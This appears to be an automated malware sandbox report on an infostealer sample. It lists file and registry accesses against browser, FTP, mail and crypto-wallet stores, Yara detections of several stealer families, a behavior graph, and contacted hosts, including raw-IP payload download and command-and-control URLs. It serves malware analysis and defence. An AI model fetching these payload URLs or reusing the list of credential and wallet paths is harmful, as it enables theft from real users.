Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 16.2.cmd.exe.54f00c8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.5cc00c8.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.5cc00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.MSBuild.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cmd.exe.54f00c8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.2220970153.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2499719371.0000000000902000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2500535139.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: u5o8.0.exe PID: 7608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmd.exe PID: 8180, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\ejfydkiwv, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\ncgdcbnvvkpiwr, type: DROPPED

Remote Access Functionality
barindex
Yara detected Mars stealer
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2206846600.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2205500428.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1743202440.0000000003520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada740000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada740000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1eb49f0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1f2eb15.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1e06ca8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8a4dad.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8947a3.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbe432f.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc88537d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfc08739.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbbd525.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.2932248197.000002EADA740000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.2126889574.000002EABC7FB000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT1926.tmp, type: DROPPED
Yara detected RedLine Stealer
Source: Yara match File source: 16.2.cmd.exe.54f00c8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.5cc00c8.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.cmd.exe.5cc00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.MSBuild.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cmd.exe.54f00c8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.2220970153.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2499719371.0000000000902000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2500535139.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmd.exe PID: 8180, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\ejfydkiwv, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\ncgdcbnvvkpiwr, type: DROPPED
Yara detected SectopRAT
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 3604, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 0000000A.00000002.2206605683.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: u5o8.0.exe PID: 7608, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.34f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.u5o8.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.u5o8.0.exe.3520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2206846600.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2205500428.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1743202440.0000000003520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: u5o8.0.exe PID: 7608, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1e06ca8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8a4dad.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8947a3.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbe432f.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc88537d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfc08739.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbbd525.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT1926.tmp, type: DROPPED
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B520B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 10_2_6B520B40
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B448EA0 sqlite3_clear_bindings, 10_2_6B448EA0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B520D60 sqlite3_bind_parameter_name, 10_2_6B520D60
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B520C40 sqlite3_bind_zeroblob, 10_2_6B520C40
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4463C0 PR_Bind, 10_2_6B4463C0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B3D22D0 sqlite3_bind_blob, 10_2_6B3D22D0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B44C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp, 10_2_6B44C050
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B446070 PR_Listen, 10_2_6B446070
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B44C030 sqlite3_bind_parameter_count, 10_2_6B44C030
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4460B0 listen,WSAGetLastError, 10_2_6B4460B0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1435236 Sample: JlvRdFpwOD.exe Startdate: 02/05/2024 Architecture: WINDOWS Score: 100 123 download.iolo.net 2->123 125 westus2-2.in.applicationinsights.azure.com 2->125 127 9 other IPs or domains 2->127 169 Snort IDS alert for network traffic 2->169 171 Found malware configuration 2->171 173 Malicious sample detected (through community Yara rule) 2->173 175 20 other signatures 2->175 11 JlvRdFpwOD.exe 25 2->11         started        15 run.exe 2->15         started        18 svchost.exe 2->18         started        20 chrome.exe 1 2->20         started        signatures3 process4 dnsIp5 131 d295fdouc92v9n.cloudfront.net 108.138.113.167, 443, 49730 AMAZON-02US United States 11->131 99 C:\Users\user\AppData\Local\...\INetC.dll, PE32 11->99 dropped 101 C:\Users\user\AppData\Local\Temp\...\app.bat, DOS 11->101 dropped 22 cmd.exe 1 11->22         started        203 Maps a DLL or memory area into another process 15->203 205 Found direct / indirect Syscall (likely to bypass EDR) 15->205 25 cmd.exe 15->25         started        133 iolo0.b-cdn.net 169.150.236.100 SPIRITTEL-ASUS United States 18->133 135 127.0.0.1 unknown unknown 18->135 103 SystemMechanic_548...38868BD1.exe (copy), PE32 18->103 dropped 105 C:\Users\user\AppData\Local\...\BIT1926.tmp, PE32 18->105 dropped 207 Benign windows process drops PE files 18->207 137 192.168.2.4, 443, 49723, 49730 unknown unknown 20->137 139 239.255.255.250 unknown Reserved 20->139 28 chrome.exe 20->28         started        31 chrome.exe 20->31         started        file6 signatures7 process8 dnsIp9 187 Suspicious powershell command line found 22->187 189 Tries to download and execute files (via powershell) 22->189 191 Found hidden mapped module (file has been removed from disk) 22->191 33 i1.exe 3 11 22->33         started        38 powershell.exe 15 16 22->38         started        40 powershell.exe 16 22->40         started        46 3 other processes 22->46 97 C:\Users\user\AppData\...\ncgdcbnvvkpiwr, PE32 25->97 dropped 193 Writes to foreign memory regions 25->193 195 Maps a DLL or memory area into another process 25->195 42 conhost.exe 25->42         started        44 MSBuild.exe 25->44         started        141 www.google.com 142.251.40.228, 443, 49741, 49742 GOOGLEUS United States 28->141 143 142.251.32.100 GOOGLEUS United States 31->143 file10 signatures11 process12 dnsIp13 113 185.172.128.90, 49734, 80 NADYMSS-ASRU Russian Federation 33->113 115 185.172.128.228, 49736, 80 NADYMSS-ASRU Russian Federation 33->115 117 note.padd.cn.com 176.97.76.106, 49739, 80 INTRAFFIC-ASUA United Kingdom 33->117 87 C:\Users\user\AppData\Local\Temp\u5o8.3.exe, PE32 33->87 dropped 89 C:\Users\user\AppData\Local\Temp\...\run.exe, PE32 33->89 dropped 91 C:\Users\user\AppData\Local\...\relay.dll, PE32 33->91 dropped 95 2 other malicious files 33->95 dropped 177 Multi AV Scanner detection for dropped file 33->177 179 Detected unpacking (changes PE section rights) 33->179 181 Detected unpacking (overwrites its own PE header) 33->181 48 u5o8.0.exe 5 76 33->48         started        53 run.exe 33->53         started        55 u5o8.3.exe 33->55         started        57 WerFault.exe 33->57         started        119 d2iv78ooxaijb6.cloudfront.net 108.138.125.52, 443, 49731, 49732 AMAZON-02US United States 38->119 183 Powershell drops PE file 38->183 185 Found many strings related to Crypto-Wallets (likely being stolen) 40->185 121 185.172.128.59, 49733, 49737, 80 NADYMSS-ASRU Russian Federation 46->121 93 C:\Users\user\AppData\Local\Temp\i1.exe, PE32 46->93 dropped 59 conhost.exe 46->59         started        file14 signatures15 process16 dnsIp17 109 185.172.128.150, 49738, 80 NADYMSS-ASRU Russian Federation 48->109 75 C:\Users\user\AppData\...\vcruntime140[1].dll, PE32 48->75 dropped 77 C:\Users\user\AppData\...\softokn3[1].dll, PE32 48->77 dropped 79 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 48->79 dropped 85 9 other files (none is malicious) 48->85 dropped 155 Detected unpacking (changes PE section rights) 48->155 157 Detected unpacking (overwrites its own PE header) 48->157 159 Tries to steal Mail credentials (via file / registry access) 48->159 167 7 other signatures 48->167 61 WerFault.exe 48->61         started        81 C:\Users\user\AppData\Roaming\...\relay.dll, PE32 53->81 dropped 83 C:\Users\user\AppData\...\UIxMarketPlugin.dll, PE32 53->83 dropped 161 Maps a DLL or memory area into another process 53->161 163 Found direct / indirect Syscall (likely to bypass EDR) 53->163 63 cmd.exe 53->63         started        111 svc.iolo.com 20.157.87.45 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 55->111 165 Checks if the current machine is a virtual machine (disk enumeration) 55->165 67 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 55->67         started        file18 signatures19 process20 file21 107 C:\Users\user\AppData\Local\Temp\ejfydkiwv, PE32 63->107 dropped 145 Writes to foreign memory regions 63->145 147 Maps a DLL or memory area into another process 63->147 69 MSBuild.exe 63->69         started        73 conhost.exe 63->73         started        149 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 67->149 151 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 67->151 153 Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes) 67->153 signatures22 process23 dnsIp24 129 91.215.85.66 PINDC-ASRU Russian Federation 69->129 197 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 69->197 199 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 69->199 201 Tries to harvest and steal browser information (history, passwords, etc) 69->201 signatures25
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.172.128.90
 unknown Russian Federation
50916 NADYMSS-ASRU true
108.138.125.52
 d2iv78ooxaijb6.cloudfront.net United States
16509 AMAZON-02US false
176.97.76.106
 note.padd.cn.com United Kingdom
43658 INTRAFFIC-ASUA false
142.251.40.228
 www.google.com United States
15169 GOOGLEUS false
185.172.128.150
 unknown Russian Federation
50916 NADYMSS-ASRU true
185.172.128.59
 unknown Russian Federation
50916 NADYMSS-ASRU false
169.150.236.100
 iolo0.b-cdn.net United States
2711 SPIRITTEL-ASUS false
142.251.32.100
 unknown United States
15169 GOOGLEUS false
108.138.113.167
 d295fdouc92v9n.cloudfront.net United States
16509 AMAZON-02US false
185.172.128.228
 unknown Russian Federation
50916 NADYMSS-ASRU false
20.157.87.45
 svc.iolo.com United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
239.255.255.250
 unknown Reserved
unknown unknown false
91.215.85.66
 unknown Russian Federation
34665 PINDC-ASRU true

Private

IP
192.168.2.4
127.0.0.1

Contacted Domains

Name IP Active
d295fdouc92v9n.cloudfront.net 108.138.113.167 true
d2iv78ooxaijb6.cloudfront.net 108.138.125.52 true
www.google.com 142.251.40.228 true
iolo0.b-cdn.net 169.150.236.100 true
note.padd.cn.com 176.97.76.106 true
svc.iolo.com 20.157.87.45 true
fp2e7a.wpc.phicdn.net 192.229.211.108 true
download.iolo.net unknown unknown
westus2-2.in.applicationinsights.azure.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://91.215.85.66:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08 true
    http://185.172.128.228/BroomSetup.exe false
      http://185.172.128.59/ISetup1.exe false
        http://185.172.128.150/c698e1bc8a2f5e6d.php true
          https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=%7BCHANNEL%7D false
            https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0 false
              http://185.172.128.150/b7d0cfdb1d966bdd/vcruntime140.dll true
                http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll true
                  http://185.172.128.150/b7d0cfdb1d966bdd/softokn3.dll true
                    http://185.172.128.59/syncUpd.exe false
                      https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe false
                        https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgS_YJbhGOOjzbEGIjAjxm_uq7eJ4K6LnrN39eNjI0R2pOuq0UVNCdm4L6ull4GMPSjbz1Kky3lc4ucWFkgyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM false
                          http://185.172.128.228/ping.php?substr=one false
                            http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll true